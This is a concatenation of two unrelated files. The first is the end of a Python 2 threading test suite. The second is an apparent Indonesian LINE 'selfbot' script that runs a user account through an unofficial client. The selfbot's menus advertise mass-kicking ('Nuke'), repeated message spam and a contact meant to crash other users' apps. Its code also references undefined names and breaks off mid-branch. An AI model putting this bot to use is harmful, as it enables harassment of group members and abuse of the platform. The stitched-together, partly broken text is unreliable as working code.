del raising_cyclic_object
self.assertEqual(None, weak_raising_cyclic_object(),
msg=('%d references still around' %
sys.getrefcount(weak_raising_cyclic_object())))
class ThreadJoinOnShutdown(BaseTestCase):
def _run_and_join(self, script):
script = """if 1:
import sys, os, time, threading
# a thread, which waits for the main program to terminate
def joiningfunc(mainthread):
mainthread.join()
print 'end of thread'
\n""" + script
p = subprocess.Popen([sys.executable, "-c", script], stdout=subprocess.PIPE)
rc = p.wait()
data = p.stdout.read().replace('\r', '')
p.stdout.close()
self.assertEqual(data, "end of main\nend of thread\n")
self.assertFalse(rc == 2, "interpreter was blocked")
self.assertTrue(rc == 0, "Unexpected error")
def test_1_join_on_shutdown(self):
# The usual case: on exit, wait for a non-daemon thread
script = """if 1:
import os
t = threading.Thread(target=joiningfunc,
args=(threading.current_thread(),))
t.start()
time.sleep(0.1)
print 'end of main'
"""
self._run_and_join(script)
def test_2_join_in_forked_process(self):
# Like the test above, but from a forked interpreter
import os
if not hasattr(os, 'fork'):
return
script = """if 1:
childpid = os.fork()
if childpid != 0:
os.waitpid(childpid, 0)
sys.exit(0)
t = threading.Thread(target=joiningfunc,
args=(threading.current_thread(),))
t.start()
print 'end of main'
"""
self._run_and_join(script)
def test_3_join_in_forked_from_thread(self):
# Like the test above, but fork() was called from a worker thread
# In the forked process, the main Thread object must be marked as stopped.
import os
if not hasattr(os, 'fork'):
return
# Skip platforms with known problems forking from a worker thread.
# See http://bugs.python.org/issue3863.
if sys.platform in ('freebsd4', 'freebsd5', 'freebsd6', 'netbsd5',
'os2emx'):
print >>sys.stderr, ('Skipping test_3_join_in_forked_from_thread'
' due to known OS bugs on'), sys.platform
return
script = """if 1:
main_thread = threading.current_thread()
def worker():
childpid = os.fork()
if childpid != 0:
os.waitpid(childpid, 0)
sys.exit(0)
t = threading.Thread(target=joiningfunc,
args=(main_thread,))
print 'end of main'
t.start()
t.join() # Should not block: main_thread is already stopped
w = threading.Thread(target=worker)
w.start()
"""
self._run_and_join(script)
def assertScriptHasOutput(self, script, expected_output):
p = subprocess.Popen([sys.executable, "-c", script],
stdout=subprocess.PIPE)
rc = p.wait()
data = p.stdout.read().decode().replace('\r', '')
self.assertEqual(rc, 0, "Unexpected error")
self.assertEqual(data, expected_output)
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
def test_4_joining_across_fork_in_worker_thread(self):
# There used to be a possible deadlock when forking from a child
# thread. See http://bugs.python.org/issue6643.
# Skip platforms with known problems forking from a worker thread.
# See http://bugs.python.org/issue3863.
if sys.platform in ('freebsd4', 'freebsd5', 'freebsd6', 'os2emx'):
raise unittest.SkipTest('due to known OS bugs on ' + sys.platform)
# The script takes the following steps:
# - The main thread in the parent process starts a new thread and then
# tries to join it.
# - The join operation acquires the Lock inside the thread's _block
# Condition. (See threading.py:Thread.join().)
# - We stub out the acquire method on the condition to force it to wait
# until the child thread forks. (See LOCK ACQUIRED HERE)
# - The child thread forks. (See LOCK HELD and WORKER THREAD FORKS
# HERE)
# - The main thread of the parent process enters Condition.wait(),
# which releases the lock on the child thread.
# - The child process returns. Without the necessary fix, when the
# main thread of the child process (which used to be the child thread
# in the parent process) attempts to exit, it will try to acquire the
# lock in the Thread._block Condition object and hang, because the
# lock was held across the fork.
script = """if 1:
import os, time, threading
finish_join = False
start_fork = False
def worker():
# Wait until this thread's lock is acquired before forking to
# create the deadlock.
global finish_join
while not start_fork:
time.sleep(0.01)
# LOCK HELD: Main thread holds lock across this call.
childpid = os.fork()
finish_join = True
if childpid != 0:
# Parent process just waits for child.
os.waitpid(childpid, 0)
# Child process should just return.
w = threading.Thread(target=worker)
# Stub out the private condition variable's lock acquire method.
# This acquires the lock and then waits until the child has forked
# before returning, which will release the lock soon after. If
# someone else tries to fix this test case by acquiring this lock
# before forking instead of resetting it, the test case will
# deadlock when it shouldn't.
condition = w._block
orig_acquire = condition.acquire
call_count_lock = threading.Lock()
call_count = 0
def my_acquire():
global call_count
global start_fork
orig_acquire() # LOCK ACQUIRED HERE
start_fork = True
if call_count == 0:
while not finish_join:
time.sleep(0.01) # WORKER THREAD FORKS HERE
with call_count_lock:
call_count += 1
condition.acquire = my_acquire
w.start()
w.join()
print('end of main')
"""
self.assertScriptHasOutput(script, "end of main\n")
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
def test_5_clear_waiter_locks_to_avoid_crash(self):
# Check that a spawned thread that forks doesn't segfault on certain
# platforms, namely OS X. This used to happen if there was a waiter
# lock in the thread's condition variable's waiters list. Even though
# we know the lock will be held across the fork, it is not safe to
# release locks held across forks on all platforms, so releasing the
# waiter lock caused a segfault on OS X. Furthermore, since locks on
# OS X are (as of this writing) implemented with a mutex + condition
# variable instead of a semaphore, while we know that the Python-level
# lock will be acquired, we can't know if the internal mutex will be
# acquired at the time of the fork.
# Skip platforms with known problems forking from a worker thread.
# See http://bugs.python.org/issue3863.
if sys.platform in ('freebsd4', 'freebsd5', 'freebsd6', 'os2emx'):
raise unittest.SkipTest('due to known OS bugs on ' + sys.platform)
script = """if True:
import os, time, threading
start_fork = False
def worker():
# Wait until the main thread has attempted to join this thread
# before continuing.
while not start_fork:
time.sleep(0.01)
childpid = os.fork()
if childpid != 0:
# Parent process just waits for child.
(cpid, rc) = os.waitpid(childpid, 0)
assert cpid == childpid
assert rc == 0
print('end of worker thread')
else:
# Child process should just return.
pass
w = threading.Thread(target=worker)
# Stub out the private condition variable's _release_save method.
# This releases the condition's lock and flips the global that
# causes the worker to fork. At this point, the problematic waiter
# lock has been acquired once by the waiter and has been put onto
# the waiters list.
condition = w._block
orig_release_save = condition._release_save
def my_release_save():
global start_fork
orig_release_save()
# Waiter lock held here, condition lock released.
start_fork = True
condition._release_save = my_release_save
w.start()
w.join()
print('end of main thread')
"""
output = "end of worker thread\nend of main thread\n"
self.assertScriptHasOutput(script, output)
class ThreadingExceptionTests(BaseTestCase):
# A RuntimeError should be raised if Thread.start() is called
# multiple times.
def test_start_thread_again(self):
thread = threading.Thread()
thread.start()
self.assertRaises(RuntimeError, thread.start)
def test_joining_current_thread(self):
current_thread = threading.current_thread()
self.assertRaises(RuntimeError, current_thread.join);
def test_joining_inactive_thread(self):
thread = threading.Thread()
self.assertRaises(RuntimeError, thread.join)
def test_daemonize_active_thread(self):
thread = threading.Thread()
thread.start()
self.assertRaises(RuntimeError, setattr, thread, "daemon", True)
class LockTests(lock_tests.LockTests):
locktype = staticmethod(threading.Lock)
class RLockTests(lock_tests.RLockTests):
locktype = staticmethod(threading.RLock)
class EventTests(lock_tests.EventTests):
eventtype = staticmethod(threading.Event)
class ConditionAsRLockTests(lock_tests.RLockTests):
# An Condition uses an RLock by default and exports its API.
locktype = staticmethod(threading.Condition)
class ConditionTests(lock_tests.ConditionTests):
condtype = staticmethod(threading.Condition)
class SemaphoreTests(lock_tests.SemaphoreTests):
semtype = staticmethod(threading.Semaphore)
class BoundedSemaphoreTests(lock_tests.BoundedSemaphoreTests):
semtype = staticmethod(threading.BoundedSemaphore)
@unittest.skipUnless(sys.platform == 'darwin', 'test macosx problem')
def test_recursion_limit(self):
# Issue 9670
# test that excessive recursion within a non-main thread causes
# an exception rather than crashing the interpreter on platforms
# like Mac OS X or FreeBSD which have small default stack sizes
# for threads
script = """if True:
import threading
def recurse():
return recurse()
def outer():
try:
recurse()
except RuntimeError:
pass
w = threading.Thread(target=outer)
w.start()
w.join()
print('end of main thread')
"""
expected_output = "end of main thread\n"
p = subprocess.Popen([sys.executable, "-c", script],
stdout=subprocess.PIPE)
stdout, stderr = p.communicate()
data = stdout.decode().replace('\r', '')
self.assertEqual(p.returncode, 0, "Unexpected error")
self.assertEqual(data, expected_output)
def test_main():
test.test_support.run_unittest(LockTests, RLockTests, EventTests,
ConditionAsRLockTests, ConditionTests,
SemaphoreTests, BoundedSemaphoreTests,
ThreadTests,
ThreadJoinOnShutdown,
ThreadingExceptionTests,
)
if __name__ == "__main__":
test_main()
|
vhy.py | # -*- coding: utf-8 -*-
#My Script by danrfq
#Support by My Beloved Team Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞
#i'm Owner Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
import time,random,sys,json,codecs,threading,glob,requests,urllib
from bs4 import BeautifulSoup
from gtts import gTTS
import requests
import shutil
import time
import json
import html5lib
import wikipedia
import goslate
cl = LINETCR.LINE()
cl.login(qr=True)
cl.loginResult()
print "Login Success Boss"
reload(sys)
sys.setdefaultencoding('utf-8')
helpMessage ="""Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅHelp CommandᎢ̡̦͎͇͈̘̻̎̉̅́̒͗ͅ
⌨️ ʜɢ - ʜᴇʟᴘ ɢʀᴏᴜᴘ
⌨️ ʜᴀ - ʜᴇʟᴘ ᴀᴅᴍɪɴ
⌨️ ʜᴋ - ʜᴇʟᴘ ᴋɪᴄᴋᴇʀ
⌨️ ʜᴜ - ʜᴇʟᴘ ᴜᴛɪʟɪᴛʏ
⌨️ ʜs - ʜᴇʟᴘ sᴇᴛᴛɪɴɢ
⌨️ ʜᴘ - ʜᴇʟᴘ ᴘʀᴏᴛᴇᴄᴛ
⌨️ sᴇᴛ - ɢʀᴏᴜᴘ sᴇᴛᴛɪɴɢs
"""
hgMessage ="""[👨👩👧👦] - ʜᴇʟᴘ ғᴏʀ ɢʀᴏᴜᴘ - [👨👩👧👦]
⌨ ʜᴀɪ - Tᴀɢ Sᴇᴍᴜᴀ Mᴇᴍʙᴇʀ Gʀᴜᴘ
⌨ ᴄɪᴅᴜᴋ - Mᴇᴍʙᴜᴀᴛ Sᴇᴛ Sɪᴅᴇʀ
⌨ ɪɴᴛɪᴘ - Mᴇɴɢɪɴᴛɪᴘ Sɪᴅᴇʀ
⌨ Gɪɴғᴏ - Iɴғᴏ Gʀᴜᴘ
⌨️ Sᴛᴇᴀʟ ʜᴏᴍᴇ @ - Mᴇɴᴄᴜʀɪ Cᴏᴠᴇʀ Oʀᴀɴɢ
⌨️ .ᴍs - Mᴇɴᴄᴀʀɪ Mᴜsɪᴄ ʏᴀɴɢ Dɪɪɴɢɪɴᴋᴀɴ
⌨️ .ʏᴛ - Mᴇɴᴄᴀʀɪ Yᴏᴜᴛᴜʙᴇ ʏᴀɴɢ Dɪɪɴɢɪɴᴋᴀɴ
⌨️ .ɪɢ - Mᴇɴᴄᴀʀɪ Iɴsᴛᴀɢʀᴀᴍ ʏᴀɴɢ Dɪɪɴɢɪɴᴋᴀɴ
⌨️ .ʀᴊ - Mᴇɴɢᴄᴀɴᴄᴇʟ Sᴇᴍᴜᴀ Uɴᴅᴀɴɢᴀɴ Gʀᴜᴘ Aɴᴅᴀ
⌨️ .ᴄʙ - Cᴇᴋ Kᴇᴀᴋᴛɪғᴀɴ Bᴏᴛ
⌨️ .ʀᴛ - Cᴇᴋ Wᴀᴋᴛᴜ Bᴏᴛ Bᴇʀᴊᴀʟᴀɴ
⌨ .ʀᴄ - Mᴇɴɢʜᴀᴘᴜs Rɪᴡᴀʏᴀᴛ Oʙʀᴏʟᴀɴ Gʀᴜᴘ
⌨️ .ʟɢ - Kᴇʟᴜᴀʀ Dᴀʀɪ Gʀᴜᴘ
⌨️ ᴍɪᴅ - Mᴇɴɢɪʀɪᴍ Mɪᴅ Aɴᴅᴀ
⌨️ ᴍᴇ - Mᴇɴɢɪʀɪᴍ Kᴏɴᴛᴀᴋ Aɴᴅᴀ"""
haMessage = """[👤] - ʜᴇʟᴘ ғᴏʀ ᴀᴅᴍɪɴ - [👤]
⌨ Gʟɪsᴛ - Dᴀғᴛᴀʀ Gʀᴜᴘ
⌨️ Gʟɪᴅ - Dᴀғᴛᴀʀ Gʀᴜᴘ Dᴇɴɢᴀɴ Gʀᴜᴘ
⌨️ Fʟɪsᴛ - Dᴀғᴛᴀʀ Tᴇᴍᴀɴ
⌨ Cᴀɴᴄᴇʟ - Cᴀɴᴄᴇʟ Pᴇɴᴅɪɴɢ Gʀᴜᴘ Rᴏᴍʙᴏɴɢᴀɴ
⌨ B!!! - Cᴀɴᴄᴇʟ Pᴇɴᴅɪɴɢ Gʀᴜᴘ Sᴀᴛᴜ²
⌨ Mɪᴅ @ - Mᴇɴᴅᴀᴘᴀᴛᴋᴀɴ Mɪᴅ Oʀᴀɴɢ
⌨ Iɴᴠɪᴛᴇ - Iɴᴠɪᴛᴇ Vɪᴀ Sᴇɴᴅ Cᴏɴᴛᴀᴄᴛ
⌨ Iɴᴠɪᴛᴇ: - Vɪᴀ MID
⌨ ᴜɴʙᴀɴ @ - Vɪᴀ Tᴀɢ
⌨ ᴜɴʙᴀɴ: - Vɪᴀ Mɪᴅ
⌨ ᴜɴʙᴀɴ - Vɪᴀ Sᴇɴᴅ Cᴏɴᴛᴀᴄᴛ
⌨ ʙᴀɴ @ - Vɪᴀ Tᴀɢ
⌨ ʙᴀɴ: - Vɪᴀ Mɪᴅ
⌨ ʙᴀɴ - Vɪᴀ Sᴇɴᴅ Cᴏɴᴛᴀᴄᴛ
⌨ Cʟᴇᴀʀ ʙᴀɴ - Hᴀᴘᴜs Sᴇᴍᴜᴀ Bᴀɴʟɪsᴛ
⌨ ʙǫʀ - Bᴜᴋᴀ QR Gʀᴜᴘ
⌨ ᴛǫʀ - Tᴜᴛᴜᴘ QR Gʀᴜᴘ
⌨ Gᴜʀʟ - Bᴜᴋᴀ QR ᴅᴀɴ Dᴀᴘᴀᴛᴋᴀɴ Lɪɴᴋ QR Gʀᴜᴘ
⌨ Uʀʟ - Mᴇɴᴅᴀᴘᴀᴛᴋᴀɴ Lɪɴᴋ QR
⌨ ɢɴ - Mᴇɴɢɢᴀɴᴛɪ Nᴀᴍᴀ Gʀᴜᴘ
⌨ Bᴀɴʟɪsᴛ - Cᴇᴋ Bᴀɴʟɪsᴛ
⌨️ .ʙᴍ - Cᴇᴋ Bᴀɴʟɪsᴛ Mɪᴅ
⌨ Dᴇᴛᴀɪʟs ɢʀᴜᴘ - Vɪᴀ Gɪᴅ
⌨ Iɴᴠɪᴛᴇᴍᴇ: - Vɪᴀ Gɪᴅ
⌨ Iɴғᴏ ɢʀᴜᴘ
⌨ Cʟᴇᴀʀ ɢʀᴜᴘ"""
hkMessage ="""[💀] - ʜᴇʟᴘ ғᴏʀ ᴋɪᴄᴋᴇʀ - [💀]
⌨ Nᴜᴋᴇ
⌨ .ᴄɢ
⌨ ᴛᴀᴍᴘᴏʟ sᴇᴍᴜᴀ
⌨ ᴛᴀᴍᴘᴏʟ @ - Vɪᴀ Tᴀɢ
⌨ ᴛᴀᴍᴘᴏʟ: - Vɪᴀ MID
⌨️ .ᴛᴀᴍᴘᴏʟ - Mᴇɴᴀᴍᴘᴏʟ Bᴀɴʟɪsᴛ"""
huMessage = """[🛠️] - ʜᴇʟᴘ ғᴏʀ ᴜᴛɪʟɪᴛʏ - [🛠️]
⌨️ .ᴄᴄ - Cᴏɴᴛᴀᴄᴛ ʏᴀɴɢ Mᴇᴍʙᴜᴀᴛ Cʀᴀsʜ
⌨ Bᴄᴄ - Bᴄ Kᴇ Sᴇᴍᴜᴀ Kᴏɴᴛᴀᴋ
⌨ Bᴄɢ - Bᴄ Kᴇ Sᴇᴍᴜᴀ Gʀᴜᴘ
⌨ Sᴘᴀᴍ ᴏɴ/ᴏғғ 「ᴊᴜᴍʟᴀʜ」「 ᴛᴇxᴛ」
⌨ Uɴɪ
⌨ Speed/Sp - Cᴇᴋ Sᴘᴇᴇᴅ
⌨️ Mʏɴᴀᴍᴇ - Mᴇɴɢᴜʙᴀʜ Nᴀᴍᴀ Aɴᴅᴀ
⌨️ Mʏʙɪᴏ - Mᴇɴɢᴜʙᴀʜ Bɪᴏ Aɴᴅᴀ
⌨ Mʏᴄᴏᴘʏ @ - Cᴏᴘʏ Pʀᴏғɪʟᴇ ᴏʀᴀɴɢ
⌨ Mʏʙᴀᴄᴋᴜᴘ - Bᴀᴄᴋᴜᴘ Pʀᴏғɪʟᴇ
⌨️ ŤĽ: - Mᴇᴍᴘᴏsᴛɪɴɢ Sᴇsᴜᴀᴛᴜ ᴅɪ TL
⌨️ /say - Mᴇɴɢᴜʙᴀʜ Tᴇxᴛ Mᴇɴᴊᴀᴅɪ VN
⌨️ Wᴏʏ @ - Mᴇɴɢsᴘᴀᴍ Pᴇsᴀɴ Vɪᴀ Tᴀɢ
⌨️ ᴄɪᴜᴍ (ᴍɪᴅ) (ᴊᴜᴍʟᴀʜ sᴘᴀᴍ - 999)
⌨️ sᴘᴀᴍ ᴏɴ/ᴏғғ (ᴊᴜᴍʟᴀʜ sᴘᴀᴍ) (ᴛᴇxᴛ)
⌨️ ᴋᴇᴅᴀᴘᴋᴇᴅɪᴘ - Mᴇᴍʙᴜᴀᴛ Tᴇxᴛ Mᴇɴᴊᴀᴅɪ Kᴇᴅᴀᴘᴋᴇᴅɪᴘ"""
hsMessage = """[⚙️] - ʜᴇʟᴘ ғᴏʀ sᴇᴛᴛɪɴɢ - [⚙️]
⌨ [Lɪᴋᴇ ᴏɴ/ᴏғғ]
⌨ [Aᴅᴅ ᴏɴ/ᴏғғ]
⌨ [Aᴜᴛᴏ ᴊᴏɪɴ ᴏɴ/ᴏғғ]
⌨ [Cᴏɴᴛᴀᴄᴛ ᴏɴ/ᴏғғ]
⌨ [Lᴇᴀᴠᴇ ᴏɴ/ᴏғғ]
⌨ [Sʜᴀʀᴇ ᴏɴ/ᴏғғ]
⌨ [ᴊᴀᴍ ᴏɴ/ᴏғғ]
⌨ [ᴊᴀᴍ sᴀʏ:]
⌨ [Cᴏᴍ ᴏɴ/ᴏғғ]
⌨ [Mᴇssᴀɢᴇ sᴇᴛ:]
⌨ [Cᴏᴍᴍᴇɴᴛ sᴇᴛ:]
⌨ [Pᴇsᴀɴ ᴀᴅᴅ:]
⌨️ [Pᴇsᴀɴ ᴀᴅᴅ ᴄᴇᴋ]"""
hpMessage = """[🛡️] - ʜᴇʟᴘ ғᴏʀ ᴘʀᴏᴛᴇᴄᴛ - [🛡️]
⌨ [Aʟʟᴘʀᴏᴛᴇᴄᴛ ᴏɴ/ᴏғғ]
⌨ [ᴘʀᴏᴛᴇᴄᴛ ᴏɴ/ᴏғғ]
⌨ [ǫʀᴘʀᴏᴛᴇᴄᴛ ᴏɴ/ᴏғғ]
⌨ [ɪɴᴠɪᴛᴇᴘʀᴏᴛᴇᴄᴛ ᴏɴ/ᴏғғ]
⌨ [cᴀɴᴄᴇʟᴘʀᴏᴛᴇᴄᴛ ᴏɴ/ᴏғғ]"""
KAC=[cl]
mid = cl.getProfile().mid
Bots = [mid,"u86f04c0aefe9395713f9c6fcacc11d93"]
admsa = "u86f04c0aefe9395713f9c6fcacc11d93"
admin = "u86f04c0aefe9395713f9c6fcacc11d93"
crash = "u78e5efff85bf97393cc2c4b8ecf93d25"
wait = {
'contact':True,
'autoJoin':False,
'autoCancel':{"on":False,"members":20},
'leaveRoom':True,
'timeline':True,
'autoAdd':True,
'message':" Thank For Add Me\n\nSelf Creator ʙʏ Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅAmiiᎢ̡̦͎͇͈̘̻̎̉̅́̒͗ͅ\n\nline://ti/p/~amiiqila_",
"lang":"JP",
"comment":"Aᴜᴛᴏ Lɪᴋᴇ ʙʏ Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅAmiiᎢ̡̦͎͇͈̘̻̎̉̅́̒͗ͅ\n\nline://ti/p/~amiiqila_",
"commentOn":True,
"likeOn":True,
"commentBlack":{},
"wblack":False,
"dblack":False,
"clock":False,
"cNames":"",
"blacklist":{},
"wblacklist":False,
"dblacklist":False,
"protect":False,
"cancelprotect":False,
"inviteprotect":False,
"linkprotect":False,
"tag":True,
}
wait2 = {
'readPoint':{},
'readMember':{},
'setTime':{},
"ricoinvite":{},
'ROM':{},
}
setTime = {}
setTime = wait2['setTime']
blacklistFile='blacklist.txt'
pendinglistFile='pendinglist.txt'
contact = cl.getProfile()
mybackup = cl.getProfile()
mybackup.displayName = contact.displayName
mybackup.statusMessage = contact.statusMessage
mybackup.pictureStatus = contact.pictureStatus
contact = cl.getProfile()
backup = cl.getProfile()
backup.displayName = contact.displayName
backup.statusMessage = contact.statusMessage
backup.pictureStatus = contact.pictureStatus
mulai = time.time()
def cms(string, commands): #/XXX, >XXX, ;XXX, ^XXX, %XXX, $XXX...
tex = ["+","@","/",">",";","^","%","$","^","サテラ:","サテラ:","サテラ:","サテラ:"]
for texX in tex:
for command in commands:
if string ==command:
return True
return False
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
return '%02d Jam %02d Menit %02d Detik 😉' % (hours, mins, secs)
def bot(op):
try:
if op.type == 0:
return
if op.type == 13:
if mid in op.param3:
G = cl.getGroup(op.param1)
if wait["autoJoin"] == True:
if wait["autoCancel"]["on"] == True:
if len(G.members) <= wait["autoCancel"]["members"]:
cl.rejectGroupInvitation(op.param1)
else:
cl.acceptGroupInvitation(op.param1)
else:
cl.acceptGroupInvitation(op.param1)
elif wait["autoCancel"]["on"] == True:
if len(G.members) <= wait["autoCancel"]["members"]:
cl.rejectGroupInvitation(op.param1)
else:
Inviter = op.param3.replace("",',')
InviterX = Inviter.split(",")
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, InviterX)
if matched_list == []:
pass
else:
cl.cancelGroupInvitation(op.param1, matched_list)
if op.type == 19:
if mid in op.param3:
wait["blacklist"][op.param2] = True
if op.type == 22:
if wait["leaveRoom"] == True:
cl.leaveRoom(op.param1)
if op.type == 24:
if wait["leaveRoom"] == True:
cl.leaveRoom(op.param1)
if op.type == 26:
msg = op.message
if msg.toType == 0:
msg.to = msg.from_
if msg.from_ == "Mid Kamu":
if "join:" in msg.text:
list_ = msg.text.split(":")
try:
cl.acceptGroupInvitationByTicket(list_[1],list_[2])
G = cl.getGroup(list_[1])
G.preventJoinByTicket = True
cl.updateGroup(G)
except:
cl.sendText(msg.to,"error")
if msg.toType == 1:
if wait["leaveRoom"] == True:
cl.leaveRoom(msg.to)
if msg.contentType == 16:
url = msg.contentMetadata["postEndUrl"]
cl.like(url[25:58], url[66:], likeType=1003)
if op.type == 26:
msg = op.message
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait ["tag"] == True:
contact = cl.getContact(msg.from_)
cName = contact.displayName
balas = ["bacot.",cName + " ngapain ngetag?",cName + " sokap bat lu ngetag gua.","apaan?"]
ret_ = " " + random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
cl.sendText(msg.to,ret_)
break
if op.type == 25:
msg = op.message
if msg.contentType == 13:
if wait["ricoinvite"] == True:
if msg.from_ in admin:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = cl.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
cl.sendText(msg.to,"-> " + _name + " was here")
break
elif invite in wait["blacklist"]:
cl.sendText(msg.to,"Sorry, " + _name + " On Banlist")
cl.sendText(msg.to,"Call my daddy to use command !, \n➡unban: " + invite)
break
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
cl.findAndAddContactsByMid(target)
cl.inviteIntoGroup(msg.to,[target])
random.choice(KAC).sendText(msg.to,"Sukses menginvite gembel ini😆: \n➡ " + _name)
wait2["ricoinvite"] = False
break
except:
cl.sendText(msg.to,"Your Account Limit Invitation.")
wait2["ricoinvite"] = False
break
if msg.contentType == 13:
if wait["wblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
cl.sendText(msg.to,"sudah masuk daftar hitam👈")
wait["wblack"] = False
else:
wait["commentBlack"][msg.contentMetadata["mid"]] = True
wait["wblack"] = False
cl.sendText(msg.to,"Itu tidak berkomentar👈")
elif wait["dblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
del wait["commentBlack"][msg.contentMetadata["mid"]]
cl.sendText(msg.to,"Done")
wait["dblack"] = False
else:
wait["dblack"] = False
cl.sendText(msg.to,"Tidak ada dalam daftar hitam👈")
elif wait["wblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
cl.sendText(msg.to,"sudah masuk daftar hitam")
wait["wblacklist"] = False
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = False
cl.sendText(msg.to,"Done👈")
elif wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
cl.sendText(msg.to,"Done👈")
wait["dblacklist"] = False
else:
wait["dblacklist"] = False
cl.sendText(msg.to,"Done👈")
elif wait["contact"] == True:
msg.contentType = 0
cl.sendText(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
else:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
elif msg.contentType == 16:
if wait["timeline"] == True:
msg.contentType = 0
if wait["lang"] == "JP":
msg.text = "Post URL Yang Diatas\n" + msg.contentMetadata["postEndUrl"]
else:
msg.text = "URL→\n" + msg.contentMetadata["postEndUrl"]
cl.sendText(msg.to,msg.text)
elif msg.text is None:
return
elif msg.text.lower() == 'help':
if wait["lang"] == "JP":
cl.sendText(msg.to,helpMessage)
else:
cl.sendText(msg.to,helpMessage)
elif msg.text.lower() == 'hg':
if wait["lang"] == "JP":
cl.sendText(msg.to,hgMessage)
else:
cl.sendText(msg.to,hgMessage)
elif msg.text.lower() == 'ha':
if wait["lang"] == "JP":
cl.sendText(msg.to,haMessage)
else:
cl.sendText(msg.to,haMessage)
elif msg.text.lower() == 'hk':
if wait["lang"] == "JP":
cl.sendText(msg.to,hkMessage)
else:
cl.sendText(msg.to,hkMessage)
elif msg.text.lower() == 'hu':
if wait["lang"] == "JP":
cl.sendText(msg.to,huMessage)
else:
cl.sendText(msg.to,huMessage)
elif msg.text.lower() == 'hs':
if wait["lang"] == "JP":
cl.sendText(msg.to,hsMessage)
else:
cl.sendText(msg.to,hsMessage)
elif msg.text.lower() == 'hp':
if wait["lang"] == "JP":
cl.sendText(msg.to,hpMessage)
else:
cl.sendText(msg.to,hpMessage)
elif "tgbot" == msg.text:
cl.sendText(msg.to,"Dibawah ini adalah Daftar Kontak BOT TGB")
msg.contentType = 13
msg.contentMetadata = {'mid': kimid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki2mid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki3mid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki4mid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki5mid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki6mid}
cl.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki7mid}
cl.sendMessage(msg)
msg.contentType = 13
elif "tgb1" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': kimid}
cl.sendMessage(msg)
elif "tgb2" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': ki2mid}
cl.sendMessage(msg)
elif "tgb3" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': ki3mid}
cl.sendMessage(msg)
elif "tgb4" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': ki4mid}
cl.sendMessage(msg)
elif "tgb5" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': ki5mid}
cl.sendMessage(msg)
elif msg.text in ["Bot1 Gift","Bot1 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '3b92ccf5-54d3-4765-848f-c9ffdc1da020',
'PRDTYPE': 'THEME',
'MSGTPL': '2'}
msg.text = None
cl.sendMessage(msg)
elif "@"+cl.getProfile().displayName in msg.text:
if wait["tag"] == True:
tanya = msg.text.replace("@"+cl.getProfile().displayName,"")
jawab = ("Jgn Tag Si "+cl.getProfile().displayName+"!!","Berisik jgn tag si "+cl.getProfile().displayName+" dia masih tidur")
jawaban = random.choice(jawab)
cl.sendText(msg.to,jawaban)
elif msg.text in ["Gift","gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '3b92ccf5-54d3-4765-848f-c9ffdc1da020',
'PRDTYPE': 'THEME',
'MSGTPL': '3'}
msg.text = None
